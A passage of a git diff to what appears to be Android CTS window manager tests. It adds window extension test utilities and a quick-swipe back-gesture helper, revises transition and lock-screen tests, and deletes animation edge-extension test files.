+import androidx.window.extensions.area.WindowAreaComponent;
import androidx.window.extensions.layout.DisplayFeature;
import androidx.window.extensions.layout.FoldingFeature;
import androidx.window.extensions.layout.WindowLayoutComponent;
import androidx.window.extensions.layout.WindowLayoutInfo;
-import java.util.ArrayList;
-import java.util.Collections;
import java.util.List;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.TimeoutException;
@@ -54,7 +50,7 @@
private static final String EXTENSION_TAG = "Extension";
- public static final Version MINIMUM_EXTENSION_VERSION = new Version(1, 0, 0, "");
+ public static final Version MINIMUM_STABLE_EXTENSION_VERSION = new Version(1, 0, 0, "");
@NonNull
public static Version getExtensionVersion() {
@@ -75,7 +71,7 @@
public static boolean isExtensionVersionValid() {
final Version version = getExtensionVersion();
// Check that the extension version on the device is at least the minimum valid version.
- return version.compareTo(MINIMUM_EXTENSION_VERSION) >= 0;
+ return version.compareTo(MINIMUM_STABLE_EXTENSION_VERSION) >= 0;
}
@Nullable
@@ -95,7 +91,7 @@
assumeTrue("Device does not support extensions", extensionNotNull);
// If extensions are on the device, make sure that the version is valid.
assertTrue("Extension version is invalid, must be at least "
- + MINIMUM_EXTENSION_VERSION.toString(), isExtensionVersionValid());
+ + MINIMUM_STABLE_EXTENSION_VERSION.toString(), isExtensionVersionValid());
}
@Nullable
@@ -265,4 +261,17 @@
.filter(d -> otherOrientationBounds.contains(d.getBounds()))
.collect(Collectors.toList());
}
+
+ /**
+ * Returns the {@link WindowAreaComponent} available in {@link WindowExtensions} if available.
+ * If the component is not available, returns null.
+ */
+ @Nullable
+ public static WindowAreaComponent getExtensionWindowAreaComponent() {
+ WindowExtensions extension = getWindowExtensions();
+ if (extension == null || extension.getVendorApiLevel() < 2) {
+ return null;
+ }
+ return extension.getWindowAreaComponent();
+ }
}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestRearDisplayActivity.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestRearDisplayActivity.java
new file mode 100644
index 0000000..5e19aec6
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestRearDisplayActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import android.app.Activity;
+import android.content.res.Configuration;
+
+import androidx.annotation.NonNull;
+
+public class TestRearDisplayActivity extends Activity {
+
+ public boolean mConfigurationChanged;
+
+ @Override
+ public void onConfigurationChanged(@NonNull Configuration newConfig) {
+ super.onConfigurationChanged(newConfig);
+ mConfigurationChanged = true;
+ }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/Version.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/Version.java
index f8be26c..b6e2919 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/Version.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/Version.java
@@ -81,7 +81,8 @@
return matcher.matches();
}
- int getMajor() {
+ /** Major version of the vendor implementation. */
+ public int getMajor() {
return mMajor;
}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowExtensionTestRule.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowExtensionTestRule.java
new file mode 100644
index 0000000..5ae4b72
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowExtensionTestRule.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionWindowAreaComponent;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionWindowLayoutComponent;
+
+import static org.junit.Assume.assumeNotNull;
+
+import androidx.window.extensions.area.WindowAreaComponent;
+import androidx.window.extensions.layout.WindowLayoutComponent;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+public class WindowExtensionTestRule implements TestRule {
+
+ private final Class<?> mComponentToFetch;
+ private Object mComponent;
+
+ public Object getExtensionComponent() {
+ return mComponent;
+ }
+
+ @Override
+ public Statement apply(Statement base, Description description) {
+ return new Statement() {
+ @Override
+ public void evaluate() throws Throwable {
+ assumeExtensionSupportedDevice();
+ mComponent = getComponent(mComponentToFetch);
+ assumeNotNull(mComponent);
+ base.evaluate();
+ }
+ };
+ }
+
+ public WindowExtensionTestRule(Class<?> componentType) {
+ mComponentToFetch = componentType;
+ }
+
+ public Object getComponent(Class<?> componentToFetch) {
+ if (componentToFetch == WindowAreaComponent.class) {
+ return getExtensionWindowAreaComponent();
+ } else if (componentToFetch == WindowLayoutComponent.class) {
+ return getExtensionWindowLayoutComponent();
+ }
+ return null;
+ }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
index fb9f5e8..dd9c168 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
@@ -59,6 +59,7 @@
public static final String ACTIVITY_ID_LABEL = "ActivityID";
public static final String EXTRA_EMBED_ACTIVITY = "EmbedActivity";
+ public static final String EXTRA_SPLIT_RATIO = "SplitRatio";
public Instrumentation mInstrumentation;
public Context mContext;
@@ -186,6 +187,11 @@
.width();
}
+ public int getTaskHeight() {
+ return mContext.getSystemService(WindowManager.class).getMaximumWindowMetrics().getBounds()
+ .height();
+ }
+
public static void setActivityOrientationActivityHandlesOrientationChanges(
TestActivity activity, int orientation) {
// Make sure that the provided orientation is a fixed orientation
diff --git a/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar b/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar
index 6fc9a67..e9a1721 100644
--- a/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar
+++ b/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar
Binary files differ
diff --git a/tests/framework/base/windowmanager/res/values/styles.xml b/tests/framework/base/windowmanager/res/values/styles.xml
index 2945940..d9f0c15 100644
--- a/tests/framework/base/windowmanager/res/values/styles.xml
+++ b/tests/framework/base/windowmanager/res/values/styles.xml
@@ -57,4 +57,10 @@
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="android:navigationBarColor">@android:color/transparent</item>
</style>
-</resources>
+ <style name="window_task_animation" parent="@android:style/Theme.DeviceDefault">
+ <item name="android:taskOpenEnterAnimation">@anim/alpha</item>
+ <item name="android:taskOpenExitAnimation">@anim/alpha</item>
+ <item name="android:taskCloseEnterAnimation">@anim/alpha</item>
+ <item name="android:taskCloseExitAnimation">@anim/alpha</item>
+ </style>
+ </resources>
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
index 7e87fb4..83b4301 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityTransitionTests.java
@@ -64,8 +64,6 @@
import androidx.annotation.Nullable;
import androidx.test.platform.app.InstrumentationRegistry;
-import com.android.compatibility.common.util.SystemUtil;
-
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -140,7 +138,7 @@
waitAndAssertTopResumedActivity(new ComponentName(mContext, TransitionActivity.class),
DEFAULT_DISPLAY, "Activity must be launched");
- latch.await(3, TimeUnit.SECONDS);
+ latch.await(5, TimeUnit.SECONDS);
final long totalTime = transitionEndTime.get() - transitionStartTime.get();
assertTrue("Actual transition duration should be in the range "
+ "<" + CUSTOM_ANIMATION_DURATION_RANGE.getLower() + ", "
@@ -181,7 +179,7 @@
}
@Test
- public void testTaskTransitionOverride() {
+ public void testTaskWindowAnimationOverrideDisabled() throws Exception {
final CountDownLatch latch = new CountDownLatch(1);
AtomicLong transitionStartTime = new AtomicLong();
AtomicLong transitionEndTime = new AtomicLong();
@@ -192,25 +190,27 @@
latch.countDown();
};
- SystemUtil.runWithShellPermissionIdentity(() -> {
- // Overriding task transit animation is enabled, so custom animation is played.
- final Bundle bundle = ActivityOptions.makeCustomTaskAnimation(mContext,
- R.anim.alpha, 0, new Handler(Looper.getMainLooper()), startedListener,
- finishedListener).toBundle();
- final Intent intent = new Intent().setComponent(TEST_ACTIVITY)
- .addFlags(FLAG_ACTIVITY_NEW_TASK);
- mContext.startActivity(intent, bundle);
- mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
- waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
- "Activity must be launched");
+ // Overriding task transit animation is disabled, so default wallpaper close animation
+ // is played.
+ final Bundle bundle = ActivityOptions.makeCustomAnimation(mContext,
+ R.anim.alpha, 0 /* exitResId */, 0 /* backgroundColor */,
+ new Handler(Looper.getMainLooper()), startedListener, finishedListener).toBundle();
- latch.await(5, TimeUnit.SECONDS);
- final long totalTime = transitionEndTime.get() - transitionStartTime.get();
- assertTrue("Actual transition duration should be in the range "
- + "<" + CUSTOM_ANIMATION_DURATION_RANGE.getLower() + ", "
- + CUSTOM_ANIMATION_DURATION_RANGE.getUpper() + "> ms, "
- + "actual=" + totalTime, CUSTOM_ANIMATION_DURATION_RANGE.contains(totalTime));
- });
+ final ComponentName customWindowAnimationActivity = new ComponentName(
+ mContext, CustomWindowAnimationActivity.class);
+ final Intent intent = new Intent().setComponent(customWindowAnimationActivity)
+ .addFlags(FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(intent, bundle);
+ mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+ waitAndAssertTopResumedActivity(customWindowAnimationActivity, DEFAULT_DISPLAY,
+ "Activity must be launched");
+
+ latch.await(5, TimeUnit.SECONDS);
+ final long totalTime = transitionEndTime.get() - transitionStartTime.get();
+ assertTrue("Actual transition duration should be out of the range "
+ + "<" + CUSTOM_ANIMATION_DURATION_RANGE.getLower() + ", "
+ + CUSTOM_ANIMATION_DURATION_RANGE.getUpper() + "> ms, "
+ + "actual=" + totalTime, !CUSTOM_ANIMATION_DURATION_RANGE.contains(totalTime));
}
/**
@@ -764,7 +764,7 @@
Bundle extras) {
final Intent i = new Intent(this, klass);
i.putExtras(extras);
- startActivity(i, activityOptions.toBundle());
+ startActivity(i, activityOptions != null ? activityOptions.toBundle() : null);
}
}
@@ -834,4 +834,6 @@
overridePendingTransition(enterAnim, R.anim.alpha_0);
}
}
+
+ public static class CustomWindowAnimationActivity extends Activity { }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 74ef09e..c299ae7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -198,8 +198,7 @@
assumeTrue(supportsLockScreen());
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
- final boolean notSupportsInsecureLock = !supportsInsecureLock();
- if (notSupportsInsecureLock) {
+ if (!supportsInsecureLock()) {
lockScreenSession.setLockCredential();
}
final ActivitySessionClient activityClient = createManagedActivityClientSession();
@@ -207,11 +206,25 @@
true /* useWindowFlags */);
testTurnScreenOnActivity(lockScreenSession, activityClient,
false /* useWindowFlags */);
- if (notSupportsInsecureLock) {
- // In the platform without InsecureLock, we just test if the display is on with
- // TurnScreenOnActivity.
- mObjectTracker.close(lockScreenSession);
- }
+
+ // Start TURN_SCREEN_ON_ACTIVITY
+ launchActivity(TURN_SCREEN_ON_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
+ mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
+ assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
+
+ // Start another activity on top and put device to sleep
+ final ActivitySession activity = activityClient.startActivity(
+ getLaunchActivityBuilder().setUseInstrumentation()
+ .setWaitForLaunched(false).setTargetActivity(TOP_ACTIVITY));
+ waitAndAssertActivityState(TOP_ACTIVITY, STATE_STOPPED, "Activity must be stopped.");
+ lockScreenSession.sleepDevice();
+
+ // Finish the top activity and make sure the device still in sleep
+ activity.finish();
+ waitAndAssertActivityState(TURN_SCREEN_ON_ACTIVITY, STATE_STOPPED,
+ "Activity must be stopped");
+ mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, false);
+ assertFalse("Display must be remained OFF", isDisplayOn(DEFAULT_DISPLAY));
}
@Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AnimationBackgroundTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AnimationBackgroundTests.java
deleted file mode 100644
index b5ead52..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/AnimationBackgroundTests.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm;
-
-import static android.server.wm.app.Components.CustomTransitionAnimations.BACKGROUND_COLOR;
-
-import android.graphics.Bitmap;
-import android.graphics.Color;
-import android.platform.test.annotations.Presubmit;
-
-import org.junit.Test;
-
-/**
- * Build/Install/Run:
- * atest CtsWindowManagerDeviceTestCases:AnimationBackgroundTests
- */
-@Presubmit
-@android.server.wm.annotation.Group1
-public class AnimationBackgroundTests extends CustomActivityTransitionTestBase {
-
- /**
- * Checks that the activity's theme's background color is used as the default animation's
- * background color when no override is specified.
- */
- @Test
- public void testThemeBackgroundColorShowsDuringActivityTransition() {
- launchCustomTransition(BACKGROUND_COLOR, 0);
- final Bitmap screen = screenshotTransition();
- assertAppRegionOfScreenIsColor(screen, Color.WHITE);
- }
-
- /**
- * Checks that we can override the default background color of the animation through
- * overridePendingTransition
- */
- @Test
- public void testBackgroundColorIsOverridden() {
- launchCustomTransition(BACKGROUND_COLOR, Color.GREEN);
- final Bitmap screen = screenshotTransition();
- assertAppRegionOfScreenIsColor(screen, Color.GREEN);
- }
-}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AnimationEdgeExtensionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AnimationEdgeExtensionTests.java
deleted file mode 100644
index 9102634..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/AnimationEdgeExtensionTests.java
+++ /dev/null
@@ -1,197 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm;
-
-import static android.server.wm.app.Components.CustomTransitionAnimations.BOTTOM_EDGE_EXTENSION;
-import static android.server.wm.app.Components.CustomTransitionAnimations.LEFT_EDGE_EXTENSION;
-import static android.server.wm.app.Components.CustomTransitionAnimations.RIGHT_EDGE_EXTENSION;
-import static android.server.wm.app.Components.CustomTransitionAnimations.TOP_EDGE_EXTENSION;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-
-import android.graphics.Bitmap;
-import android.graphics.Color;
-import android.graphics.ColorSpace;
-import android.graphics.Rect;
-import android.platform.test.annotations.Presubmit;
-
-import org.junit.Test;
-
-/**
- * Build/Install/Run:
- * atest CtsWindowManagerDeviceTestCases:AnimationEdgeExtensionTests
- */
-@Presubmit
-@android.server.wm.annotation.Group1
-public class AnimationEdgeExtensionTests extends CustomActivityTransitionTestBase {
-
- // We need to allow for some variation stemming from color conversions
- private static final float COLOR_VALUE_VARIANCE_TOLERANCE = 0.03f;
-
- /**
- * Checks that when an activity transition with a left edge extension is run that the animating
- * activity is extended on the left side by clamping the edge pixels of the activity.
- *
- * The test runs an activity transition where the animating activities are X scaled to 50%,
- * positioned of the right side of the screen, and edge extended on the left. Because the
- * animating activities are half red half blue (split at the middle of the X axis of the
- * activity). We expect first 75% pixel columns of the screen to be red (50% from the edge
- * extension and the next 25% from from the activity) and the remaining 25% columns after that
- * to be blue (from the activity).
- */
- @Test
- public void testLeftEdgeExtensionWorksDuringActivityTransition() {
- final Bitmap screenshot = runAndScreenshotTransition(LEFT_EDGE_EXTENSION);
- final Rect fullyVisibleBounds = getActivityFullyVisibleRegion();
- assertColorChangeXIndex(screenshot,
- (fullyVisibleBounds.left + fullyVisibleBounds.right) / 4 * 3);
- }
-
- /**
- * Checks that when an activity transition with a top edge extension is run that the animating
- * activity is extended on the left side by clamping the edge pixels of the activity.
- *
- * The test runs an activity transition where the animating activities are Y scaled to 50%,
- * positioned of the bottom of the screen, and edge extended on the top. Because the
- * animating activities are half red half blue (split at the middle of the X axis of the
- * activity). We expect first 50% pixel columns of the screen to be red (the top half from the
- * extension and the bottom half from the activity) and the remaining 50% columns after that
- * to be blue (the top half from the extension and the bottom half from the activity).
- */
- @Test
- public void testTopEdgeExtensionWorksDuringActivityTransition() {
- final Bitmap screenshot = runAndScreenshotTransition(TOP_EDGE_EXTENSION);
- final Rect fullyVisibleBounds = getActivityFullyVisibleRegion();
- assertColorChangeXIndex(screenshot,
- (fullyVisibleBounds.left + fullyVisibleBounds.right) / 2);
- }
-
- /**
- * Checks that when an activity transition with a right edge extension is run that the animating
- * activity is extended on the right side by clamping the edge pixels of the activity.
- *
- * The test runs an activity transition where the animating activities are X scaled to 50% and
- * edge extended on the right. Because the animating activities are half red half blue. We
- * expect first 25% pixel columns of the screen to be red (from the activity) and the remaining
- * 75% columns after that to be blue (25% from the activity and 50% from the edge extension
- * which should be extending the right edge pixel (so red pixels).
- */
- @Test
- public void testRightEdgeExtensionWorksDuringActivityTransition() {
- final Bitmap screenshot = runAndScreenshotTransition(RIGHT_EDGE_EXTENSION);
- final Rect fullyVisibleBounds = getActivityFullyVisibleRegion();
- assertColorChangeXIndex(screenshot,
- (fullyVisibleBounds.left + fullyVisibleBounds.right) / 4);
- }
-
- /**
- * Checks that when an activity transition with a bottom edge extension is run that the
- * animating activity is extended on the bottom side by clamping the edge pixels of the
- * activity.
- *
- * The test runs an activity transition where the animating activities are Y scaled to 50%,
- * positioned of the top of the screen, and edge extended on the bottom. Because the
- * animating activities are half red half blue (split at the middle of the X axis of the
- * activity). We expect first 50% pixel columns of the screen to be red (the top half from the
- * activity and the bottom half from the extensions) and the remaining 50% columns after that
- * to be blue (the top half from the activity and the bottom half from the extension).
- */
- @Test
- public void testBottomEdgeExtensionWorksDuringActivityTransition() {
- final Bitmap screenshot = runAndScreenshotTransition(BOTTOM_EDGE_EXTENSION);
- final Rect fullyVisibleBounds = getActivityFullyVisibleRegion();
- assertColorChangeXIndex(screenshot,
- (fullyVisibleBounds.left + fullyVisibleBounds.right) / 2);
- }
-
- private Bitmap runAndScreenshotTransition(String transition) {
- launchCustomTransition(transition, 0);
- return screenshotTransition();
- }
-
- private void assertColorChangeXIndex(Bitmap screen, int xIndex) {
- final int colorChangeXIndex = getColorChangeXIndex(screen);
- final Rect fullyVisibleBounds = getActivityFullyVisibleRegion();
- // Check to make sure the activity was scaled for an extension to be visible on screen
- assertEquals(xIndex, colorChangeXIndex);
-
- // The activity we are extending is a half red, half blue.
- // We are scaling the activity in the animation so if the extension doesn't work we should
- // have a blue, then red, then black section, and if it does work we should see on a blue,
- // followed by an extended red section.
- for (int x = 0; x < screen.getWidth(); x++) {
- for (int y = fullyVisibleBounds.top;
- y < fullyVisibleBounds.bottom; y++) {
- final Color expectedColor;
- if (x < xIndex) {
- expectedColor = Color.valueOf(Color.BLUE);
- } else {
- expectedColor = Color.valueOf(Color.RED);
- }
-
- final Color rawColor = screen.getColor(x, y);
- final Color sRgbColor;
- if (!rawColor.getColorSpace().equals(ColorSpace.get(ColorSpace.Named.SRGB))) {
- // Conversion is required because the color space of the screenshot may be in
- // the DCI-P3 color space or some other color space and we want to compare the
- // color against once in the SRGB color space, so we must convert the color back
- // to the SRGB color space.
- sRgbColor = screen.getColor(x, y)
- .convert(ColorSpace.get(ColorSpace.Named.SRGB));
- } else {
- sRgbColor = rawColor;
- }
-
- assertArrayEquals("Screen pixel (" + x + ", " + y + ") is not the right color",
- new float[] {
- expectedColor.red(), expectedColor.green(), expectedColor.blue() },
- new float[] { sRgbColor.red(), sRgbColor.green(), sRgbColor.blue() },
- COLOR_VALUE_VARIANCE_TOLERANCE);
- }
- }
- }
-
- private int getColorChangeXIndex(Bitmap screen) {
- // Look for color changing index at middle of app
- final int y =
- (getActivityFullyVisibleRegion().top + getActivityFullyVisibleRegion().bottom) / 2;
-
- Color prevColor = screen.getColor(0, y)
- .convert(ColorSpace.get(ColorSpace.Named.SRGB));
- for (int x = 0; x < screen.getWidth(); x++) {
- final Color c = screen.getColor(x, y)
- .convert(ColorSpace.get(ColorSpace.Named.SRGB));
-
- if (!colorsEqual(prevColor, c)) {
- return x;
- }
- }
-
- throw new RuntimeException("Failed to find color change index");
- }
-
- private boolean colorsEqual(Color c1, Color c2) {
- return almostEquals(c1.red(), c2.red(), COLOR_VALUE_VARIANCE_TOLERANCE)
- && almostEquals(c1.green(), c2.green(), COLOR_VALUE_VARIANCE_TOLERANCE)
- && almostEquals(c1.blue(), c2.blue(), COLOR_VALUE_VARIANCE_TOLERANCE);
- }
-
- private boolean almostEquals(float a, float b, float delta) {
- return Math.abs(a - b) < delta;
- }
-}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyGestureTest.java b/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyGestureTest.java
index b6c43f1..a26d3c2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyGestureTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/BackNavigationLegacyGestureTest.java
@@ -23,10 +23,14 @@
import static org.junit.Assert.assertTrue;
import android.app.Instrumentation;
+import android.os.SystemClock;
import android.server.wm.TestJournalProvider.TestJournalContainer;
import android.server.wm.backlegacyapp.Components;
import android.support.test.uiautomator.UiDevice;
+import android.view.InputEvent;
+import android.view.MotionEvent;
+import androidx.annotation.NonNull;
import androidx.test.platform.app.InstrumentationRegistry;
import com.android.compatibility.common.util.GestureNavRule;
@@ -74,7 +78,45 @@
private void doBackGesture() {
int midHeight = mUiDevice.getDisplayHeight() / 2;
int midWidth = mUiDevice.getDisplayWidth() / 2;
- mUiDevice.swipe(0, midHeight, midWidth, midHeight, 100);
+ quickSwipe(0, midHeight, midWidth, midHeight, 10);
mUiDevice.waitForIdle();
}
+
+ private void injectInputEventUnSynced(@NonNull InputEvent event) {
+ mInstrumentation.getUiAutomation().injectInputEvent(event, false /* sync */,
+ false /* waitForAnimations */);
+ }
+
+ /**
+ * Injecting a sequence of motion event to simulate swipe without waiting for sync transaction.
+ */
+ private void quickSwipe(float startX, float startY, float endX, float endY, int steps) {
+ if (steps <= 0) {
+ steps = 1;
+ }
+ final long startDownTime = SystemClock.uptimeMillis();
+ MotionEvent firstDown = MotionEvent.obtain(startDownTime, startDownTime,
+ MotionEvent.ACTION_DOWN, startX, startY, 0);
+ injectInputEventUnSynced(firstDown);
+
+ // inject in every 5 ms.
+ final int delayMillis = 5;
+ long nextEventTime = startDownTime + delayMillis;
+ final float stepGapX = (endX - startX) / steps;
+ final float stepGapY = (endY - startY) / steps;
+ for (int i = 0; i < steps; i++) {
+ SystemClock.sleep(delayMillis);
+ final float nextX = startX + stepGapX * i;
+ final float nextY = startY + stepGapY * i;
+ MotionEvent move = MotionEvent.obtain(startDownTime, nextEventTime,
+ MotionEvent.ACTION_MOVE, nextX, nextY, 0);
+ injectInputEventUnSynced(move);
+ nextEventTime += delayMillis;
+ }
+
+ SystemClock.sleep(delayMillis);
+ MotionEvent up = MotionEvent.obtain(startDownTime, nextEventTime,
+ MotionEvent.ACTION_UP, endX, endY, 0);
+ injectInputEventUnSynced(up);
+ }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
index 097defa..43812ee 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
@@ -94,7 +94,7 @@
// The min aspect ratio of NON_RESIZEABLE_LARGE_ASPECT_RATIO_ACTIVITY (as defined in the
// manifest). This needs to be higher than the aspect ratio of any device, which according to
// CDD is at most 21:9.
- private static final float ACTIVITY_LARGE_MIN_ASPECT_RATIO = 3f;
+ private static final float ACTIVITY_LARGE_MIN_ASPECT_RATIO = 4f;
private static final float FLOAT_EQUALITY_DELTA = 0.01f;
@@ -511,9 +511,6 @@
*/
private void runSizeCompatTest(ComponentName activity, int windowingMode, double resizeRatio,
boolean inSizeCompatModeAfterResize) {
- // TODO(b/208918131): Remove once real cause is found.
- assumeFalse(ENABLE_SHELL_TRANSITIONS);
-
launchActivity(activity, windowingMode);
assertSizeCompatMode(activity, /* expectedInSizeCompatMode= */ false);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CustomActivityTransitionTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/CustomActivityTransitionTestBase.java
deleted file mode 100644
index 504b4ac..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/CustomActivityTransitionTestBase.java
+++ /dev/null
@@ -1,200 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm;
-
-import static android.server.wm.ComponentNameUtils.getActivityName;
-import static android.server.wm.app.Components.BackgroundActivityTransition.TRANSITION_REQUESTED;
-import static android.server.wm.app.Components.CUSTOM_TRANSITION_EXIT_ACTIVITY;
-
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-
-import android.graphics.Bitmap;
-import android.graphics.Color;
-import android.graphics.ColorSpace;
-import android.graphics.Rect;
-import android.os.SystemClock;
-import android.platform.test.annotations.Presubmit;
-
-import androidx.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.TestUtils;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-
-import java.io.IOException;
-import java.util.List;
-import java.util.Optional;
-
-@Presubmit
-@android.server.wm.annotation.Group1
-public class CustomActivityTransitionTestBase extends ActivityManagerTestBase {
-
- private boolean mAnimationScaleResetRequired = false;
- private String mInitialWindowAnimationScale;
- private String mInitialTransitionAnimationScale;
- private String mInitialAnimatorDurationScale;
-
- @Rule
- public final DumpOnFailure dumpOnFailure = new DumpOnFailure();
-
- @Before
- public void setUp() throws Exception {
- assumeTrue(ENABLE_SHELL_TRANSITIONS);
- super.setUp();
- setDefaultAnimationScale();
- mWmState.setSanityCheckWithFocusedWindow(false);
- mWmState.waitForDisplayUnfrozen();
- }
-
- @After
- public void tearDown() {
- restoreAnimationScale();
- mWmState.setSanityCheckWithFocusedWindow(true);
- }
-
- /**
- * @param transitionType the type of transition to run.
- * See CustomTransitionEnterActivity for supported types.
- * @param backgroundColorOverride a background color override of 0 means we are not going to
- * override the background color and just fallback on the default
- * value
- */
- protected void launchCustomTransition(String transitionType, int backgroundColorOverride) {
- TestJournalProvider.TestJournalContainer.start();
- final String startActivityCommand = "am start -n "
- + getActivityName(CUSTOM_TRANSITION_EXIT_ACTIVITY) + " "
- + "--es transitionType " + transitionType + " "
- + "--ei backgroundColorOverride " + backgroundColorOverride;
